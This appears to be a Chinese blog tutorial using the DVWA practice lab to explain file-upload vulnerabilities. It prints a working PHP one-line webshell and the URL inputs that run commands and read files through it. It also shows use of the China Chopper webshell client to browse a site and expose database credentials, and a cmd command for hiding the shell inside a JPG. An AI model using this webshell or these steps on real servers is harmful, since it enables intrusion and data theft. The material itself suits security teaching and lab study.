网络安全:文件上传 + 一句话木马原理 + 菜刀的简单使用

 

很多的网站提供了文件上传功能,虽然提供了方便的服务,但稍有疏忽,就可能酿成大祸。

 

这里的疏忽是指,不对用户上传的内容进行检查。

 

仍旧以DVWA为例:

 

网站的本意是接受用户的图片(image),但后台代码却并没有对文件进行检测:

 

网页源码(部分截图):

 

php处理源码:

文本也贴出来:

File Upload Source
vulnerabilities/upload/source/low.php
<?php 

if( isset( $_POST[ 'Upload' ] ) ) { 
    // Where are we going to be writing to? 
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; 
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); 

    // Can we move the file to the upload folder? 
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { 
        // No 
        echo '<pre>Your image was not uploaded.</pre>'; 
    } 
    else { 
        // Yes! 
        echo "<pre>{$target_path} succesfully uploaded!</pre>"; 
    } 
} 

?> 


 

我们可以看到,target_path只是获得了文件应该存放的路径。之后的步骤,并未对文件进行任何的检测处理,而直接进行move_uploaded_file(),将文件上传。

 

换句话说,你的文件不是图片都莫得问题。

 

试一下,我们上传个php一句话。许多小伙伴可能听说过“一句话木马”这个名词,也见过一句话木马怎么写,但是就不知道为什么起作用。别急,我们简单一聊就通了。没听说过的小伙伴也不用担心,注重听原理。

 

新建个txt,编辑:

<?php
    @eval($_REQUEST["shell"]);
?>

保存后修改扩展名为.php。(我这里起名为shell)

 

进行上传:

 

然后我们会发现successfully upload。上传成功!竟然还给出了路径。路径中的“..”指上一目录。

 

shell.php被上传到了根目录下hackable/uploads/shell.php。

 

我们直接通过修改url对其进行访问:

 

你会发现网页什么都没有显示,但是并没有报错。这说明文件确实存在,只是无显示内容。

 

一句话木马如何使用?

 

<?php
@eval($_REQUEST['shell']);
?>

重点在@eval($_REQUEST['shell'])的理解。

 

首先是一个@符号,其实这个东西对我们来说可有可无,这个符号的作用是抵制错误提示。

 

为什么要抵制错误提示呢?这里先要了解eval()函数的功能。eval将接收一个字符串参数,并将这个字符串作为命令语句执行。

 

如:

<?php

    echo "hello";
    eval('echo "hello"');

?>

这两句的功能是相同的,因为eval接收的是个字符串,那这个字符串就有可能不是正确的命令。这样一来直接执行就会报错,为了不显示报错信息,前面加上了@符号。

 

@一般是创建网站的人才会使用,旨在不让用户从报错信息中获得服务器的相关信息。而我们对一句话进行利用时,有时还是需要报错信息来告诉我们,哪里输错了。

 

最后看eval中的参数:$_REQUEST['shell'],request是请求,最常用的请求方式有两种GET和POST(不了解的,前面很多文章里都有谈到,STW也可以。【我就不加F了】)。而$_REQUEST就是从请求参数中得到“shell”这个参数的值(当然这个参数名你可以随便起,反正是你来利用。)。

 

如果是$_GET["shell"],就是从get请求的参数中找shell参数。而$_POST["shell"],则是从post请求中寻找shell参数。$_REQUEST包含get和post,两者皆可。

 

到这里,一句话的功能应该就已经清晰了,即从get或post请求参数中,将shell参数的值,作为命令语句执行。

 

如何利用呢?

 

为了方便,我们就不抓包(截获报文)了。直接通过get方式向文件发送参数:

 

 

修改url,其后添加?shell=xxxxx,来传递shell参数。其值为phpinfo()。

 

phpinfo()函数会显示服务器的详细信息。然而页面报错了,syntax error(语法错误)。我们发现phpinfo()后面忘记了分号。这就显示了报错的好处,如果一句话中eval前有@符号,这时的页面会是一片空白,让你一头雾水。

 

 

添加分号后正确执行了phpinfo函数,页面上显示了诸多服务器信息,操作系统信息,项目路径等等。

 

这是一个简单的使用实例,还有没有其他的利用呢?

 

修改shell值为echo(__DIR__);,echo大家都清楚,就是print。而__DIR__指当前文件目录。通过它,我们知道了shell.php被上传到了什么位置。在uploads目录之下。

 

那看看uploads目录下面都有什么吧。

 

修改shell=print_r(scandir(__DIR__));,scandir函数扫描指定路径下的文件,返回一个数组。echo只能简单输出字符串,对于复杂结构显得力不从心,所以这里利用了print_r函数。

 

通过结果我们知道,在uploads目录下,除了shell.php,还有一张dvwa_email.png的图片。

 

我们实际打开项目:

确实如此。

 

我们还可以读取文件内容,修改shell值shell=echo(file_get_contents("./shell.php"));:

file_get_contents函数获得指定文件的内容:

因为文件内容是php代码段,不是可显示内容,所以页面空白。但是,这时你右键查看源码或者快捷键ctrl + u:

你就能看到shell.php的内容了。

 

致此,一句话的利用原理就明白了。来了个问题,一句话利用不就是传递一个参数值,并让服务器执行吗。有没有工具能替我做这些机械性的工作呢。例如我想要得到这个项目的目录结果,我需要一点点的扫描每个子目录,手动做起来太麻烦了。

 

这就是要说到的“中国菜刀”的功能。可能很多小朋友听过这个工具:

 

初始界面:

 

右键添加:

地址当然就是我们上传的php文件的url了,后面那个框里是参数名,我们设置的是shell。菜刀就会帮你向那个地址发送shell参数,以解放你的双手。

 

点击添加后:

 

双击添加的链接:

是不是太恐怖了,这个网站的项目目录尽显眼前。

 

如果权限允许,你甚至可以随意下载它的东西:

 

双击文件查看内容:

 

完了,现在数据库的用户名密码,我也知道了:

 

此话题致此结束吧,这就是一句话的利用。

 

返回我们最开始的问题,这一切的一切,都是因为,服务器未对我们上传的文件进行检查。

 

如果服务器对上传文件进行了限制,比如,只能上传jpg文件,那我们还有方法上传一句话的脚本吗?

 

有!有种方式叫图片隐藏,更多的可能称为“图片马”。即将php脚本嵌入到图片的末尾。

 

这里有之前写过的用python实现的方法,其中有原理解释,感兴趣的可以看下:

https://blog.csdn.net/qq_41500251/article/details/91645290

 

简单点,我们这样搞:

 

准备好一张图片和我们刚刚写的php脚本。打开cmd:

copy 1.jpg/b + shell.php/a 2.jpg

 

复制文件,图片后面添加脚本,注意打开方式,图片用二进制方式打开/b,php用文本(或者说ascii)方式打开/a。

 

命令执行成功后,我们会得到一个合并了的2.jpg图片。现在我们要做的就是让网页用文本的方式显示2.jpg。前面1.jpg图片的部分会是一堆十六进制数字,无所谓不重要。图片后面的东西,就是我们的php脚本。只要网页能输出,剩下的就和我们直接上传php无二样了。

 

你如果有能用十六进制打开文件的工具,可以查看下2.jpg的末尾部分,你会发出“哦~”的一声。

 

至于怎么让网页显示出来,这设计到另一个问题——文件包含,我们另外谈。

 

结束吧,至少标题列出来的全说了一遍。

发布了53 篇原创文章 · 获赞 80 · 访问量 4万+

猜你喜欢

转载自blog.csdn.net/qq_41500251/article/details/100177972